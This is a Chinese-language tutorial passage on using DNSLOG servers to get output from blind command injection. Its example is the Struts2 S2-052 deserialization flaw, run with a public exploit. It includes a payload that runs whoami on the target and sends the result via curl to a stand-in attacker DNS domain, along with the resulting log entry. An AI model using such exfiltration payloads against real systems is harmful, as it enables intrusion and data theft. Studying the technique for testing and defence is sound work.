DNS的解析是递归与迭代相结合的,下面给出了当我们访问时,DNS的解析过程示意图。
其中,红色部分是可控的。我们只需要搭建一个红色部分的DNS服务器,并将要盲打或盲注的回显,放到自己域名的二级甚至三级域名上去请求,就可以通过DNS解析日志来获取到它们。
DNSLOG工具
如果有自己的服务器和域名,可以自建一个这样的平台,直接使用BugScan团队开源的工具搭建即可:
https://github.com/BugScanTeam/DNSLog。
另外我们也可以使用在线平台:
。
。
场景一:命令盲注回显
针对不回显的命令注入漏洞,我们很难确定漏洞的存在并进一步利用,如17年9月爆发的Struts2-052反序列化命令执行漏洞是看不到任何回显的,针对这种情况,我们可以利用DNSLOG来获取命令的执行结果。这里使用已有的EXP来完成漏洞利用,EXP地址为https://github.com/luc10/struts-rce-cve-2017-9805。
利用方式为go run main.go -u URL -c "command"。
Payload:go run main.go -u -c 'curl "http://`whoami`.your-dnslog.com"'
根据语法规定,会先将双引号中的whoami命令执行并替换为结果,再执行整个的curl命令。可以在Web控制台下看到结果:
#
path
ip
ua
date
1
root.your-dnslog.com
**.**.**.**
***
2018-07-27 09:33